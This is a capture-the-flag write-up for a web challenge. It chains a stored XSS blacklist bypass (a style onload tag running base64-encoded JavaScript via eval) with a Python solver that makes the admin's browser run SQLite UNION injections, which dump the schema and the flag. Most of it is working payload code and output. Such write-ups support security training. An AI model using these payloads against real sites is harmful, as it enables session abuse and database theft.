HELICOPTER ADMINISTRATORS [HARD]#
Description#
This applications administrators are very aggressive. They will immediately view any page you report. Can you trick them into disclosing data they shouldn't?
Source Code#
No source code.
Short Solution Description / Tags#
XSS, SQLite SQL Injection
Explore functionality#

There are Admin and User 1, User 2 and User 3 pages.

We cannot access the Admin page.



It has a reporting to admin and a commenting functionalities.
We cannot comment characters that are included in the blacklist, such as <script.
Admin will access reporting page and remove comment.
I consider using XSS to make Admin access the Admin page /user/0 and get the response.
<style is not included in the blacklist so I input <style/onload=alert(1)></style> to comment and reload.

XSS fired.
XSS Exploitation#
Since Admin does not have an internet connection, I consider an XSS payload that Admin sends a request to /user/0 and comments its response to /user/3.
xss.js
const xhr = new XMLHttpRequest();
xhr.open("GET", "/user/0", true);
xhr.send();
xhr.onload = function() {{
const resp = xhr.response;
const xhr2 = new XMLHttpRequest();
xhr2.open("POST","/comment/3",true);
const params = "comment=" + btoa(resp);
xhr2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr2.send(params);
}};
Base64 encode:
$ base64 xss.js -w 0
Y29uc3QgeGhyID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7Cnhoci5vcGVuKCJHRVQiLCAiL3VzZXIvMCIsIHRydWUpOwp4aHIuc2VuZCgpOwp4aHIub25sb2FkID0gZnVuY3Rpb24oKSB7ewogIGNvbnN0IHJlc3AgPSB4aHIucmVzcG9uc2U7CiAgY29uc3QgeGhyMiA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogIHhocjIub3BlbigiUE9TVCIsIi9jb21tZW50LzMiLHRydWUpOwogIGNvbnN0IHBhcmFtcyA9ICJjb21tZW50PSIgKyBidG9hKHJlc3ApOwogIHhocjIuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC10eXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOwogIHhocjIuc2VuZChwYXJhbXMpOwp9fTsK
Input the following comment:
<style/onload=eval(atob("Y29uc3QgeGhyID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7Cnhoci5vcGVuKCJHRVQiLCAiL3VzZXIvMCIsIHRydWUpOwp4aHIuc2VuZCgpOwp4aHIub25sb2FkID0gZnVuY3Rpb24oKSB7ewogIGNvbnN0IHJlc3AgPSB4aHIucmVzcG9uc2U7CiAgY29uc3QgeGhyMiA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogIHhocjIub3BlbigiUE9TVCIsIi9jb21tZW50LzMiLHRydWUpOwogIGNvbnN0IHBhcmFtcyA9ICJjb21tZW50PSIgKyBidG9hKHJlc3ApOwogIHhocjIuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC10eXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOwogIHhocjIuc2VuZChwYXJhbXMpOwp9fTsK"))></style>
and report it and access /user/3 page.

Decode it; replace single space () to + by Find/Replace Recipe and decode by From Base64 Recipe:

I could get the /user/0 response, but The flag was not in the page. Instead, the post form for /secret_admin_search was found.
I still need to make Admin send various requests so I scripted to automate the operations.
solver.py
import base64
import random
import re
import string
import sys
import requests
requests.packages.urllib3.disable_warnings()
s = requests.Session()
# s.proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
s.verify = False
BASE_URL = "https://11ee61b5d4e6169f.247ctf.com"
RANDOM_STR = "".join(random.choices(string.ascii_letters, k=10))
# XSS Payload for /user/0 response
XSS_PAYLOAD = f"""\
const xhr = new XMLHttpRequest();
xhr.open("GET", "/user/0", true);
xhr.send();
xhr.onload = function() {{
const resp = xhr.response;
const xhr2 = new XMLHttpRequest();
xhr2.open("POST","/comment/3",true);
const params = "comment=" + "{RANDOM_STR}" + btoa(resp) + "{RANDOM_STR}";
xhr2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr2.send(params);
}};
"""
SQLI_INPUT = sys.argv[1] if len(sys.argv) == 2 else "a"
XSS_PAYLOAD = f"""\
const xhr = new XMLHttpRequest();
xhr.open("POST", "/secret_admin_search", true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("search=" + "{SQLI_INPUT}");
xhr.onload = function() {{
const resp = xhr.response;
const xhr2 = new XMLHttpRequest();
xhr2.open("POST","/comment/3",true);
const params = "comment=" + "{RANDOM_STR}" + btoa(resp) + "{RANDOM_STR}";
xhr2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr2.send(params);
}};
"""
def main():
xss_payload = base64.b64encode(XSS_PAYLOAD.encode()).decode()
xss_payload = f'<style/onload=eval(atob("{xss_payload}"))></style>'
# post comment with XSS Payload
r = s.post(f"{BASE_URL}/comment/1", data={"comment": xss_payload})
assert r.json()["result"] == "success", "Failed [POST] /comment/1"
# report to let admin access to /user/1
r = s.get(f"{BASE_URL}/report/1")
assert r.json()["result"] == "success", "Failed [GET] /report/1"
# get response
r = s.get(f"{BASE_URL}/user/3")
m = re.findall(rf"{RANDOM_STR}(.*?){RANDOM_STR}", r.text)
assert m, "Not found admin access to [POST] /comment/3"
b64_leaked_html = base64.b64decode(m[0].replace(" ", "+").encode()).decode()
print(b64_leaked_html)
if __name__ == "__main__":
main()
SQLi Exploitation#
For POST /secret_admin_search XSS Payload:
const xhr = new XMLHttpRequest();
xhr.open("POST", "/secret_admin_search", true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("search=a");
xhr.onload = function() {{
const resp = xhr.response;
const xhr2 = new XMLHttpRequest();
xhr2.open("POST","/comment/3",true);
const params = "comment=" + "{RANDOM_STR}" + btoa(resp) + "{RANDOM_STR}";
xhr2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr2.send(params);
}};
Result:
$ python3 solver.py
{"message":"SQLite error: no such column: a","result":"error"}
It seems to have a SQLi vulnerability so tried SQLite SQLi payload.
$ python3 solver.py 'id'
{"message":[[0,"Administrator",100,100,100,"New York, USA"],[1,"Michael Owens",14,22,3,"Sydney, Australia"],[2,"Alice Brock",72,132,28,"Amsterdam, Nederland"],[3,"Sally Alterman",3,1,0,"Berlin, Germany"]],"result":"success"}
$ # UNION SELECT is available
$ python3 solver.py 'id UNION SELECT 1,2,3,4,5,6--'
{"message":[[0,"Administrator",100,100,100,"New York, USA"],[1,2,3,4,5,6],[1,"Michael Owens",14,22,3,"Sydney, Australia"],[2,"Alice Brock",72,132,28,"Amsterdam, Nederland"],[3,"Sally Alterman",3,1,0,"Berlin, Germany"]],"result":"success"}
$ # dumped SQLite verion
$ python3 solver.py 'id UNION SELECT 1,sqlite_version(),3,4,5,6--'
{"message":[[0,"Administrator",100,100,100,"New York, USA"],[1,"3.25.3",3,4,5,6],[1,"Michael Owens",14,22,3,"Sydney, Australia"],[2,"Alice Brock",72,132,28,"Amsterdam, Nederland"],[3,"Sally Alterman",3,1,0,"Berlin, Germany"]],"result":"success"}
$ # dumped the table schema and found flag table
$ python3 solver.py "id UNION SELECT 1,GROUP_CONCAT('---'||sql||'---'),3,4,5,6 FROM sqlite_master--"
{"message":[[0,"Administrator",100,100,100,"New York, USA"],[1,"---CREATE TABLE user (id int primary key, name text, friends int, likes int, shares int, location text)---,---CREATE TABLE comment (id int, comment text)---,---CREATE TABLE flag (flag text)---",3,4,5,6],[1,"Michael Owens",14,22,3,"Sydney, Australia"],[2,"Alice Brock",72,132,28,"Amsterdam, Nederland"],[3,"Sally Alterman",3,1,0,"Berlin, Germany"]],"result":"success"}
$ # got the flag
$ python3 solver.py "id UNION SELECT 1,GROUP_CONCAT('---'||flag||'---'),3,4,5,6 FROM flag--"
{"message":[[0,"Administrator",100,100,100,"New York, USA"],[1,"---247CTF{[REDACTED]}---",3,4,5,6],[1,"Michael Owens",14,22,3,"Sydney, Australia"],[2,"Alice Brock",72,132,28,"Amsterdam, Nederland"],[3,"Sally Alterman",3,1,0,"Berlin, Germany"]],"result":"success"}